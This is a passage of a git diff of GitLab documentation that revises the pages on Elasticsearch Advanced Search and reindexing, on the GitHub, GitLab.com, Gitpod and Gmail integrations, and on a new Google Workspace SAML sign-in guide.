disables using [`kuromoji`](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-kuromoji.html) fields for Advanced Search. Please only enable this after [installing the plugin](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-kuromoji.html), enabling custom analyzer indexing and recreating the index.| ## Disabling Advanced Search To disable the Elasticsearch integration: -1. Navigate to the **Admin Area**, then **Settings > General**. -1. Expand the **Advanced Search** section and uncheck **Elasticsearch indexing** - and **Search with Elasticsearch enabled**. +1. Navigate to the **Admin Area**, then **Settings > Advanced Search**. +1. Uncheck **Elasticsearch indexing** and **Search with Elasticsearch enabled**. 1. Click **Save changes** for the changes to take effect. 1. (Optional) Delete the existing indexes: @@ -301,146 +298,19 @@ To disable the Elasticsearch integration: ## Zero downtime reindexing -The idea behind this reindexing method is to leverage Elasticsearch index alias -feature to atomically swap between two indices. We'll refer to each index as -`primary` (online and used by GitLab for read/writes) and `secondary` -(offline, for reindexing purpose). - -Instead of connecting directly to the `primary` index, we'll setup an index -alias such as we can change the underlying index at will. - -NOTE: -Any index attached to the production alias is deemed a `primary` and will be -used by the GitLab Advanced Search integration. - -### Pause the indexing - -In the **Admin Area > Settings > General > Advanced Search** section, select the -**Pause Elasticsearch Indexing** setting, and then save your change. -With this, all updates that should happen on your Elasticsearch index will be -buffered and caught up once unpaused. - -The indexing will also be automatically paused when the [**Trigger cluster reindexing**](#trigger-the-reindex-via-the-advanced-search-administration) button is used, and unpaused when the reindexing completes or aborts. - -### Setup - -NOTE: -If your index was created with GitLab 13.0 or greater, you can directly -[trigger the reindex](#trigger-the-reindex-via-the-advanced-search-administration). - -This process involves several shell commands and curl invocations, so a good -initial setup will help for later: - -```shell -# You can find this value under Admin Area > Settings > General > Advanced Search > URL -export CLUSTER_URL="http://localhost:9200" -export PRIMARY_INDEX="gitlab-production" -export SECONDARY_INDEX="gitlab-production-$(date +%s)" -``` - -### Reclaiming the `gitlab-production` index name - -WARNING: -It is highly recommended that you take a snapshot of your cluster to ensure -there is a recovery path if anything goes wrong. - -Due to a technical limitation, there will be a slight downtime because of the -fact that we need to reclaim the current `primary` index to be used as the alias. - -To reclaim the `gitlab-production` index name, you need to first create a `secondary` index and then trigger the re-index from `primary`. - -#### Creating a secondary index - -To create a secondary index, run the following Rake task. The `SKIP_ALIAS` -environment variable will disable the automatic creation of the Elasticsearch -alias, which would conflict with the existing index under `$PRIMARY_INDEX`, and will -not create a separate Issue index: - -```shell -# Omnibus installation -sudo SKIP_ALIAS=1 gitlab-rake "gitlab:elastic:create_empty_index[$SECONDARY_INDEX]" - -# Source installation -SKIP_ALIAS=1 bundle exec rake "gitlab:elastic:create_empty_index[$SECONDARY_INDEX]" -``` - -The index should be created successfully, with the latest index options and -mappings. - -#### Trigger the re-index from `primary` - -To trigger the re-index from `primary` index: - -1. Use the Elasticsearch [Reindex API](https://www.elastic.co/guide/en/elasticsearch/reference/7.6/docs-reindex.html): - - ```shell - curl --request POST \ - --header 'Content-Type: application/json' \ - --data "{ \"source\": { \"index\": \"$PRIMARY_INDEX\" }, \"dest\": { \"index\": \"$SECONDARY_INDEX\" } }" \ - "$CLUSTER_URL/_reindex?slices=auto&wait_for_completion=false" - ``` - - There will be an output like: - - ```plaintext - {"task":"3qw_Tr0YQLq7PF16Xek8YA:1012"} - ``` - - Note the `task` value, as it will be useful to follow the reindex progress. - -1. Wait for the reindex process to complete by checking the `completed` value. - Using the `task` value form the previous step: - - ```shell - export TASK_ID=3qw_Tr0YQLq7PF16Xek8YA:1012 - curl "$CLUSTER_URL/_tasks/$TASK_ID?pretty" - ``` - - The output will be like: - - ```plaintext - {"completed":false, …} - ``` - - After the returned value is `true`, continue to the next step. - -1. Ensure that the secondary index has data in it. You can use the - Elasticsearch API to look for the index size and compare our two indices: - - ```shell - curl $CLUSTER_URL/$PRIMARY_INDEX/_count => 123123 - curl $CLUSTER_URL/$SECONDARY_INDEX/_count => 123123 - ``` - - NOTE: - Comparing the document count is more accurate than using the index size, as improvements to the storage might cause the new index to be smaller than the original one. - -1. After you are confident your `secondary` index is valid, you can process to - the creation of the alias. - - ```shell - # Delete the original index - curl --request DELETE $CLUSTER_URL/$PRIMARY_INDEX - - # Create the alias and add the `secondary` index to it - curl --request POST \ - --header 'Content-Type: application/json' \ - --data "{\"actions\":[{\"add\":{\"index\":\"$SECONDARY_INDEX\",\"alias\":\"$PRIMARY_INDEX\"}}]}}" \ - $CLUSTER_URL/_aliases - ``` - - The reindexing is now completed. Your GitLab instance is now ready to use the [automated in-cluster reindexing](#trigger-the-reindex-via-the-advanced-search-administration) feature for future reindexing. - -1. Unpause the indexing - - Under **Admin Area > Settings > General > Advanced Search**, uncheck the **Pause Elasticsearch Indexing** setting and save. +The idea behind this reindexing method is to leverage the [Elasticsearch reindex API](https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-reindex.html) +and Elasticsearch index alias feature to perform the operation. We set up an index alias which connects to a +`primary` index which is used by GitLab for reads/writes. When reindexing process starts, we temporarily pause +the writes to the `primary` index. Then, we create another index and invoke the Reindex API which migrates the +index data onto the new index. Once the reindexing job is complete, we switch to the new index by connecting the +index alias to it which becomes the new `primary` index. At the end, we resume the writes and normal operation resumes. ### Trigger the reindex via the Advanced Search administration -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34069) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.2. -> - A scheduled index deletion and the ability to cancel it was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38914) in GitLab Starter 13.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34069) in GitLab 13.2. +> - A scheduled index deletion and the ability to cancel it was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38914) in GitLab 13.3. -Under **Admin Area > Settings > General > Advanced Search > Elasticsearch zero-downtime reindexing**, click on **Trigger cluster reindexing**. +Under **Admin Area > Settings > Advanced Search > Elasticsearch zero-downtime reindexing**, click on **Trigger cluster reindexing**. Reindexing can be a lengthy process depending on the size of your Elasticsearch cluster. @@ -449,9 +319,9 @@ After the reindexing is completed, the original index will be scheduled to be de While the reindexing is running, you will be able to follow its progress under that same section. -### Mark the most recent reindex job as failed and unpause the indexing +### Mark the most recent reindex job as failed and resume the indexing -Sometimes, you might want to abandon the unfinished reindex job and unpause the indexing. You can achieve this via the following steps: +Sometimes, you might want to abandon the unfinished reindex job and resume the indexing. You can achieve this via the following steps: 1. Mark the most recent reindex job as failed: @@ -463,7 +333,7 @@ Sometimes, you might want to abandon the unfinished reindex job and unpause the bundle exec rake gitlab:elastic:mark_reindex_failed RAILS_ENV=production ``` -1. Uncheck the "Pause Elasticsearch indexing" checkbox in **Admin Area > Settings > General > Advanced Search**. +1. Uncheck the "Pause Elasticsearch indexing" checkbox in **Admin Area > Settings > Advanced Search**. ## Background migrations @@ -519,8 +389,8 @@ In order to debug issues with the migrations you can check the [`elasticsearch.l Some migrations are built with a retry limit. If the migration cannot finish within the retry limit, it will be halted and a notification will be displayed in the Advanced Search integration settings. It is recommended to check the [`elasticsearch.log` file](../administration/logs.md#elasticsearchlog) to -debug why the migration was halted and make any changes before retrying the migration. Once you believe you've -fixed the cause of the failure, click "Retry migration", and the migration will be scheduled to be retried +debug why the migration was halted and make any changes before retrying the migration. Once you believe you've +fixed the cause of the failure, click "Retry migration", and the migration will be scheduled to be retried in the background. ## GitLab Advanced Search Rake tasks @@ -539,17 +409,14 @@ The following are some available Rake tasks: | [`sudo gitlab-rake gitlab:elastic:index_projects`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Iterates over all projects and queues Sidekiq jobs to index them in the background. | | [`sudo gitlab-rake gitlab:elastic:index_projects_status`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Determines the overall status of the indexing. It is done by counting the total number of indexed projects, dividing by a count of the total number of projects, then multiplying by 100. | | [`sudo gitlab-rake gitlab:elastic:clear_index_status`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Deletes all instances of IndexStatus for all projects. Note that this command will result in a complete wipe of the index, and it should be used with caution. | -| [`sudo gitlab-rake gitlab:elastic:create_empty_index[<TARGET_NAME>]`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Generates empty indexes (the default index and a separate issues index) and assigns an alias for each on the Elasticsearch side only if it doesn't already exist. | -| [`sudo gitlab-rake gitlab:elastic:delete_index[<TARGET_NAME>]`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Removes the GitLab indexes and aliases (if they exist) on the Elasticsearch instance. | -| [`sudo gitlab-rake gitlab:elastic:recreate_index[<TARGET_NAME>]`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Wrapper task for `gitlab:elastic:delete_index[<TARGET_NAME>]` and `gitlab:elastic:create_empty_index[<TARGET_NAME>]`. | +| [`sudo gitlab-rake gitlab:elastic:create_empty_index`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Generates empty indexes (the default index and a separate issues index) and assigns an alias for each on the Elasticsearch side only if it doesn't already exist. | +| [`sudo gitlab-rake gitlab:elastic:delete_index`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Removes the GitLab indexes and aliases (if they exist) on the Elasticsearch instance. | +| [`sudo gitlab-rake gitlab:elastic:recreate_index`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Wrapper task for `gitlab:elastic:delete_index` and `gitlab:elastic:create_empty_index`. | | [`sudo gitlab-rake gitlab:elastic:index_snippets`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Performs an Elasticsearch import that indexes the snippets data. | | [`sudo gitlab-rake gitlab:elastic:projects_not_indexed`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Displays which projects are not indexed. | | [`sudo gitlab-rake gitlab:elastic:reindex_cluster`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Schedules a zero-downtime cluster reindexing task. This feature should be used with an index that was created after GitLab 13.0. | | [`sudo gitlab-rake gitlab:elastic:mark_reindex_failed`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake)`] | Mark the most recent re-index job as failed. | -NOTE: -The `TARGET_NAME` parameter is optional and will use the default index/alias name from the current `RAILS_ENV` if not set. - ### Environment variables In addition to the Rake tasks, there are some environment variables that can be used to modify the process: @@ -599,7 +466,7 @@ For basic guidance on choosing a cluster configuration you may refer to [Elastic - Number of CPUs (CPU cores) per node usually corresponds to the `Number of Elasticsearch shards` setting described below. - A good guideline is to ensure you keep the number of shards per node below 20 per GB heap it has configured. A node with a 30GB heap should therefore have a maximum of 600 shards, but the further below this limit you can keep it the better. This will generally help the cluster stay in good health. - Small shards result in small segments, which increases overhead. Aim to keep the average shard size between at least a few GB and a few tens of GB. Another consideration is the number of documents, you should aim for this simple formula for the number of shards: `number of expected documents / 5M +1`. -- `refresh_interval` is a per index setting. You may want to adjust that from default `1s` to a bigger value if you don't need data in realtime. This will change how soon you will see fresh results. If that's important for you, you should leave it as close as possible to the default value. +- `refresh_interval` is a per index setting. You may want to adjust that from default `1s` to a bigger value if you don't need data in real-time. This will change how soon you will see fresh results. If that's important for you, you should leave it as close as possible to the default value. - You might want to raise [`indices.memory.index_buffer_size`](https://www.elastic.co/guide/en/elasticsearch/reference/current/indexing-buffer.html) to 30% or 40% if you have a lot of heavy indexing operations. ### Advanced Search integration settings guidance @@ -799,6 +666,23 @@ However, some larger installations may wish to tune the merge policy settings: - Do not do a [force merge](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-forcemerge.html "Force Merge") to remove deleted documents. A warning in the [documentation](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-forcemerge.html "Force Merge") states that this can lead to very large segments that may never get reclaimed, and can also cause significant performance or availability issues. +## Reverting to Basic Search + +Sometimes there may be issues with your Elasticsearch index data and as such +GitLab will allow you to revert to "basic search" when there are no search +results and assuming that basic search is supported in that scope. This "basic +search" will behave as though you don't have Advanced Search enabled at all for +your instance and search using other data sources (such as PostgreSQL data and Git +data). + +## Data recovery: Elasticsearch is a secondary data store only + +The use of Elasticsearch in GitLab is only ever as a secondary data store. +This means that all of the data stored in Elasticsearch can always be derived +again from other data sources, specifically PostgreSQL and Gitaly. Therefore, if +the Elasticsearch data store is ever corrupted for whatever reason, you can +simply reindex everything from scratch. + ## Troubleshooting One of the most valuable tools for identifying issues with the Elasticsearch @@ -823,7 +707,7 @@ There are a couple of ways to achieve that: This is always correctly identifying whether the current project/namespace being searched is using Elasticsearch. -- From the admin area under **Settings > General > Advanced Search** check that the +- From the admin area under **Settings > Advanced Search** check that the Advanced Search settings are checked. Those same settings there can be obtained from the Rails console if necessary: @@ -980,27 +864,12 @@ problem. There is a [more structured, lower-level troubleshooting document](../administration/troubleshooting/elasticsearch.md) for when you experience other issues, including poor performance. -### Known issues - -[Elasticsearch `code_analyzer` doesn't account for all code cases](https://gitlab.com/groups/gitlab-org/-/epics/3621). +### Elasticsearch `code_analyzer` doesn't account for all code cases The `code_analyzer` pattern and filter configuration is being evaluated for improvement. We have fixed [most edge cases](https://gitlab.com/groups/gitlab-org/-/epics/3621#note_363429094) that were not returning expected search results due to our pattern and filter configuration. Improvements to the `code_analyzer` pattern and filters are being discussed in [epic 3621](https://gitlab.com/groups/gitlab-org/-/epics/3621). -### Reverting to Basic Search - -Sometimes there may be issues with your Elasticsearch index data and as such -GitLab will allow you to revert to "basic search" when there are no search -results and assuming that basic search is supported in that scope. This "basic -search" will behave as though you don't have Advanced Search enabled at all for -your instance and search using other data sources (ie. PostgreSQL data and Git -data). - -### Data recovery: Elasticsearch is a secondary data store only +### Some binary files may not be searchable by name -The use of Elasticsearch in GitLab is only ever as a secondary data store. -This means that all of the data stored in Elasticsearch can always be derived -again from other data sources, specifically PostgreSQL and Gitaly. Therefore, if -the Elasticsearch data store is ever corrupted for whatever reason, you can -simply reindex everything from scratch. +In GitLab 13.9, a change was made where [binary file names are being indexed](https://gitlab.com/gitlab-org/gitlab/-/issues/301083). However, without indexing all projects' data from scratch, only binary files that are added or updated after the GitLab 13.9 release are searchable. diff --git a/doc/integration/github.md b/doc/integration/github.md index 858614a0571..0239ba0e818 100644 --- a/doc/integration/github.md +++ b/doc/integration/github.md @@ -6,9 +6,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Integrate your GitLab instance with GitHub -You can integrate your GitLab instance with GitHub.com and GitHub Enterprise to -enable users to import projects from GitHub or sign in to your GitLab instance -with your GitHub account. +You can integrate your GitLab instance with GitHub.com and GitHub Enterprise. This integration +enables users to import projects from GitHub, or sign in to your GitLab instance +with their GitHub account. ## Enabling GitHub OAuth @@ -24,7 +24,7 @@ To prevent an [OAuth2 covert redirect](https://oauth.net/advisories/2014-1-cover See [Initial OmniAuth Configuration](omniauth.md#initial-omniauth-configuration) for initial settings. -After you have configured the GitHub provider, you need the following information, which you must substitute in the GitLab configuration file, in the steps shown next. +After you have configured the GitHub provider, you need the following information. You must substitute that information in the GitLab configuration file in these next steps. | Setting from GitHub | Substitute in the GitLab configuration file | Description | |:---------------------|:---------------------------------------------|:------------| @@ -179,7 +179,9 @@ If you're getting the message `Signing in using your GitHub account without a pr GitLab account is not allowed. Create a GitLab account first, and then connect it to your GitHub account` when signing in, in GitLab: -1. Go to your **Profile > Account**. -1. Under the "Social sign-in" section, click **Connect** near the GitHub icon. +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **Account**. +1. In the **Social sign-in** section, select **Connect to GitHub**. After that, you should be able to sign in via GitHub successfully. diff --git a/doc/integration/gitlab.md b/doc/integration/gitlab.md index 3bd3099e390..97c5332c438 100644 --- a/doc/integration/gitlab.md +++ b/doc/integration/gitlab.md @@ -11,12 +11,10 @@ Import projects from GitLab.com and login to your GitLab instance with your GitL To enable the GitLab.com OmniAuth provider you must register your application with GitLab.com. GitLab.com generates an application ID and secret key for you to use. -1. Sign in to GitLab.com - -1. On the upper right corner, click on your avatar and go to your **Settings**. - -1. Select **Applications** in the left menu. - +1. Sign in to GitLab.com. +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **Applications**. 1. Provide the required details for **Add new application**. - Name: This can be anything. Consider something like `<Organization>'s GitLab` or `<Your Name>'s GitLab` or something else descriptive. - Redirect URI: @@ -29,10 +27,8 @@ GitLab.com generates an application ID and secret key for you to use. The first link is required for the importer and second for the authorization. 1. Select **Save application**. - 1. You should now see an **Application ID** and **Secret**. Keep this page open as you continue configuration. - 1. On your GitLab server, open the configuration file. For Omnibus package: @@ -50,10 +46,9 @@ GitLab.com generates an application ID and secret key for you to use. ``` 1. See [Initial OmniAuth Configuration](omniauth.md#initial-omniauth-configuration) for initial settings. - 1. Add the provider configuration: - For Omnibus package: + For Omnibus installations: ```ruby gitlab_rails['omniauth_providers'] = [ @@ -76,16 +71,13 @@ GitLab.com generates an application ID and secret key for you to use. ``` 1. Change `'YOUR_APP_ID'` to the Application ID from the GitLab.com application page. - 1. Change `'YOUR_APP_SECRET'` to the secret from the GitLab.com application page. - 1. Save the configuration file. - 1. Based on how GitLab was installed, implement these changes by using the appropriate method: - - Omnibus GitLab: [Reconfigure GitLab](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure). - - Source: [Restart GitLab](../administration/restart_gitlab.md#installations-from-source). + - Omnibus GitLab: [reconfigure GitLab](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure). + - Source: [restart GitLab](../administration/restart_gitlab.md#installations-from-source). On the sign-in page, there should now be a GitLab.com icon following the regular sign-in form. Select the icon to begin the authentication process. diff --git a/doc/integration/gitpod.md b/doc/integration/gitpod.md index 05f129e6049..7dc710615fb 100644 --- a/doc/integration/gitpod.md +++ b/doc/integration/gitpod.md @@ -10,45 +10,57 @@ info: "To determine the technical writer assigned to the Stage/Group associated > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/228893) in GitLab 13.4. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/258206) in GitLab 13.8 -With [Gitpod](https://gitpod.io/) you can describe your dev environment as code to get fully set -up, compiled, and tested dev environments for any GitLab project. The dev environments are not only -automated but also prebuilt which means that Gitpod continuously builds your Git branches like a CI -server. By that you don’t have to wait for dependencies to be downloaded and builds to finish, but -you can start coding immediately. +With [Gitpod](https://gitpod.io/) you can describe your development environment as code to get fully +set up, compiled, and tested development environments for any GitLab project. The development +environments are not only automated but also prebuilt which means that Gitpod continuously builds +your Git branches like a CI/CD server. -In short: With Gitpod you can start coding instantly on any project, branch, and merge request from -any device, at any time. +This means you don't have to wait for dependencies to be downloaded and builds to finish, you can start +coding immediately. With Gitpod you can start coding instantly on any project, branch, and merge +request from any device, at any time. - +To use the GitLab Gitpod integration, it must be enabled for your GitLab instance. Users of: -You can launch Gitpod directly from GitLab by clicking the **Gitpod** button from the **Web IDE** -dropdown on the project page: - - +- GitLab.com can use it immediately after it's [enabled in their user settings](#enable-gitpod-in-your-user-settings). +- GitLab self-managed instances can use it after: + 1. It's [enabled and configured by a GitLab administrator](#configure-a-self-managed-instance). + 1. It's [enabled in their user settings](#enable-gitpod-in-your-user-settings). To learn more about Gitpod, see their [features](https://www.gitpod.io/features/) and [documentation](https://www.gitpod.io/docs/). -To use the GitLab-Gitpod integration, you need to enable it from your user preferences: +## Enable Gitpod in your user settings + +With the Gitpod integration enabled for your GitLab instance, to enable it for yourself: + +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **Account**. +1. Under **Integrations**, locate the **Gitpod** section. +1. Check the **Enable Gitpod integration** checkbox and select the **Save changes** button. -1. From the GitLab UI, click your avatar in the top-right corner, then click **Settings**. -1. On the left-hand nav, click **Preferences**. -1. Under **Integrations**, find the **Gitpod** section. -1. Check **Enable Gitpod**. +## Configure a self-managed instance **(FREE SELF)** -Users of GitLab.com can enable it and start using straightaway. Users of GitLab self-managed instances -can follow the same steps once the integration has been enabled and configured by a GitLab administrator. +For GitLab self-managed instances, a GitLab administrator needs to: -## Configure your GitLab instance with Gitpod **(CORE ONLY)** +1. Set up a Gitpod instance to integrate with GitLab. Refer to the [Gitpod documentation](https://www.gitpod.io/docs/self-hosted/latest/self-hosted/) + to get your instance up and running. +1. Enable it in GitLab: + 1. Go to **Admin Area > Settings > General**. + 1. Expand the **Gitpod** configuration section. + 1. Check the **Enable Gitpod integration** checkbox. + 1. Add your Gitpod instance URL (for example, `https://gitpod.example.com`). + 1. Select the **Save changes** button. -The integration of Gitpod with GitLab is enabled on GitLab.com and available to all users. -For GitLab self-managed instances, a GitLab administrator needs to enable it through the admin settings. +Your users then need to [enable it for themselves](#enable-gitpod-in-your-user-settings). -First, you (GitLab admin) need to set up a Gitpod instance to integrate with GitLab. -Head over to the [Gitpod documentation](https://www.gitpod.io/docs/self-hosted/latest/self-hosted/) to -get your instance up and running. Once done: +## Launch Gitpod in GitLab -1. In GitLab, go to **Admin Area > Settings > General**. -1. Expand the **Gitpod** configuration section. -1. Check **Enable Gitpod**. -1. Add your Gitpod instance URL (for example, `https://gitpod.example.com`). +You can launch Gitpod directly from GitLab by clicking the **Gitpod** button from the **Web IDE** +dropdown on the project page: + + + +A project launched in GitLab looks like: + + diff --git a/doc/integration/gmail_action_buttons_for_gitlab.md b/doc/integration/gmail_action_buttons_for_gitlab.md index 1158d6c9bc8..af9972e825e 100644 --- a/doc/integration/gmail_action_buttons_for_gitlab.md +++ b/doc/integration/gmail_action_buttons_for_gitlab.md @@ -10,20 +10,29 @@ GitLab supports [Google actions in email](https://developers.google.com/gmail/ma If correctly set up, emails that require an action are marked in Gmail. - + To get this functioning, you need to be registered with Google. For instructions, see [Register with Google](https://developers.google.com/gmail/markup/registering-with-google). -*This process has a lot of steps so make sure that you fulfill all requirements set by Google to avoid your application being rejected by Google.* +This process has many steps. Make sure that you fulfill all requirements set by Google to avoid your application being rejected by Google. In particular, note: +<!-- vale gitlab.InclusionCultural = NO --> + - The email account used by GitLab to send notification emails must: - Have a "Consistent history of sending a high volume of mail from your domain (order of hundred emails a day minimum to Gmail) for a few weeks at least". - Have a very low rate of spam complaints from users. - Emails must be authenticated via DKIM or SPF. -- Before sending the final form ("Gmail Schema Whitelist Request"), you must send a real email from your production server. This means that you must find a way to send this email from the email address you are registering. You can do this by, for example, forwarding the real email from the email address you are registering or going into the rails console on the GitLab server and triggering the email sending from there. +- Before sending the final form (**Gmail Schema Whitelist Request**), you must + send a real email from your production server. This means that you must find + a way to send this email from the email address you are registering. You can + do this by forwarding the real email from the email address you are + registering. You can also go into the Rails console on the GitLab server and + trigger sending the email from there. + +<!-- vale gitlab.InclusionCultural = YES --> You can check how it looks going through all the steps laid out in the "Registering with Google" doc in [this GitLab.com issue](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/1517). diff --git a/doc/integration/google_workspace_saml.md b/doc/integration/google_workspace_saml.md new file mode 100644 index 00000000000..7b561750b0f --- /dev/null +++ b/doc/integration/google_workspace_saml.md @@ -0,0 +1,163 @@ +--- +type: reference +stage: Manage +group: Access +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Google Workspace SSO provider + +Google Workspace (formerly G Suite) is a [Single Sign-on provider](https://support.google.com/a/answer/60224?hl=en) that can be used to authenticate +with GitLab. + +The following documentation enables Google Workspace as a SAML provider for GitLab. + +## Configure the Google Workspace SAML app + +The following guidance is based on this Google Workspace article, on how to [Set up your own custom SAML application](https://support.google.com/a/answer/6087519?hl=en): + +Make sure you have access to a Google Workspace [Super Admin](https://support.google.com/a/answer/2405986#super_admin) account. + Follow the instructions in the linked Google Workspace article, where you'll need the following information: + +| | Typical value | Description | +|------------------|--------------------------------------------------|----------------------------------------------------------| +| Name of SAML App | GitLab | Other names OK. | +| ACS URL | `https://<GITLAB_DOMAIN>/users/auth/saml/callback` | ACS is short for Assertion Consumer Service. | +| GITLAB_DOMAIN | `gitlab.example.com` | Set to the domain of your GitLab instance. | +| Entity ID | `https://gitlab.example.com` | A value unique to your SAML app, you'll set it to the `issuer` in your GitLab configuration. | +| Name ID format | EMAIL | Required value. Also known as `name_identifier_format` | +| Name ID | Primary email address | Make sure someone receives content sent to that address | +| First name | `first_name` | Required value to communicate with GitLab. | +| Last name | `last_name` | Required value to communicate with GitLab. | + +You will also need to setup the following SAML attribute mappings: + +| Google Directory attributes | App attributes | +|-----------------------------------|----------------| +| Basic information > Email | `email` | +| Basic Information > First name | `first_name` | +| Basic Information > Last name | `last_name` | + +You may also use some of this information when you [Configure GitLab](#configure-gitlab). + +When configuring the Google Workspace SAML app, be sure to record the following information: + +| | Value | Description | +|-------------|--------------|-----------------------------------------------------------------------------------| +| SSO URL | Depends | Google Identity Provider details. Set to the GitLab `idp_sso_target_url` setting. | +| Certificate | Downloadable | Run `openssl x509 -in <your_certificate.crt> -noout -fingerprint` to generate the SHA1 fingerprint that can be used in the `idp_cert_fingerprint` setting. | + +While the Google Workspace Admin provides IDP metadata, Entity ID and SHA-256 fingerprint, +GitLab does not need that information to connect to the Google Workspace SAML app. + +--- + +Now that the Google Workspace SAML app is configured, it's time to enable it in GitLab. + +## Configure GitLab + +1. See [Initial OmniAuth Configuration](../integration/omniauth.md#initial-omniauth-configuration) + for initial settings. + +1. To allow people to register for GitLab, through their Google accounts, add the following + values to your configuration: + + **For Omnibus GitLab installations** + + Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['omniauth_allow_single_sign_on'] = ['saml'] + gitlab_rails['omniauth_block_auto_created_users'] = false + ``` + + --- + + **For installations from source** + + Edit `config/gitlab.yml`: + + ```yaml + allow_single_sign_on: ["saml"] + block_auto_created_users: false + ``` + +1. If an existing GitLab user has the same email address as a Google Workspace user, the registration + process automatically links their accounts, if you add the following setting: + their email addresses match by adding the following setting: + + **For Omnibus GitLab installations** + + Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['omniauth_auto_link_saml_user'] = true + ``` + + --- + + **For installations from source** + + Edit `config/gitlab.yml`: + + ```yaml + auto_link_saml_user: true + ``` + +1. Add the provider configuration. + +For guidance on how to set up these values, see the [SAML General Setup steps](saml.md#general-setup). +Pay particular attention to the values for: + +- `assertion_consumer_service_url` +- `idp_cert_fingerprint` +- `idp_sso_target_url` +- `issuer` +- `name_identifier_format` + + **For Omnibus GitLab installations** + + ```ruby + gitlab_rails['omniauth_providers'] = [ + { + name: 'saml', + args: { + assertion_consumer_service_url: 'https://<GITLAB_DOMAIN>/users/auth/saml/callback', + idp_cert_fingerprint: '00:00:00:00:00:00:0:00:00:00:00:00:00:00:00:00', + idp_sso_target_url: 'https://accounts.google.com/o/saml2/idp?idpid=00000000', + issuer: 'https://<GITLAB_DOMAIN>', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:emailAddress' + }, + label: 'Google Workspace' # optional label for SAML log in button, defaults to "Saml" + } + ] + ``` + + **For installations from source** + + ```yaml + - { + name: 'saml', + args: { + assertion_consumer_service_url: 'https://<GITLAB_DOMAIN>/users/auth/saml/callback', + idp_cert_fingerprint: '00:00:00:00:00:00:0:00:00:00:00:00:00:00:00:00', + idp_sso_target_url: 'https://accounts.google.com/o/saml2/idp?idpid=00000000', + issuer: 'https://<GITLAB_DOMAIN>', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:emailAddress' + }, + label: 'Google Workspace' # optional label for SAML log in button, defaults to "Saml" + } + ``` + +1. [Reconfigure](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart](../administration/restart_gitlab.md#installations-from-source) GitLab for Omnibus and installations + from source respectively for the changes to take effect. + +To avoid caching issues, test the result on an incognito or private browser window. + +## Troubleshooting + +The Google Workspace documentation on [SAML app error messages](https://support.google.com/a/answer/6301076?hl=en) is helpful for debugging if you are seeing an error from Google while signing in. +Pay particular attention to the following 403 errors: + +- `app_not_configured` +- `app_not_configured_for_user` diff --git a/doc/integration/img/jira_dev_panel_setup_com_3.png b/doc/integration/img/jira_dev_panel_setup_com_3.png Binary files differdeleted file mode 100644 index eb3c573a4bb..00000000000 --- a/doc/integration/img/jira_dev_panel_setup_com_3.png +++ /dev/null diff --git a/doc/integration/img/jira_dev_panel_setup_com_3_v13_9.png b/doc/integration/img/jira_dev_panel_setup_com_3_v13_9.png Binary files differnew file mode 100644 index 00000000000..fe791637d31 --- /dev/null +++ b/doc/integration/img/jira_dev_panel_setup_com_3_v13_9.png diff --git a/doc/integration/img/jira_dev_panel_setup_com_4_v13_9.png b/doc/integration/img/jira_dev_panel_setup_com_4_v13_9.png Binary files differnew file mode 100644 index 00000000000..08787f12b67 --- /dev/null +++ b/doc/integration/img/jira_dev_panel_setup_com_4_v13_9.png diff --git a/doc/integration/img/oauth_provider_application_form.png b/doc/integration/img/oauth_provider_application_form.png Binary files differdeleted file mode 100644 index c4546d8b3f5..00000000000 --- a/doc/integration/img/oauth_provider_application_form.png +++ /dev/null diff --git a/doc/integration/img/oauth_provider_application_id_secret.png b/doc/integration/img/oauth_provider_application_id_secret.png Binary files differdeleted file mode 100644 index 21e442b5d04..00000000000 --- a/doc/integration/img/oauth_provider_application_id_secret.png +++ /dev/null diff --git a/doc/integration/img/oauth_provider_authorized_application.png b/doc/integration/img/oauth_provider_authorized_application.png 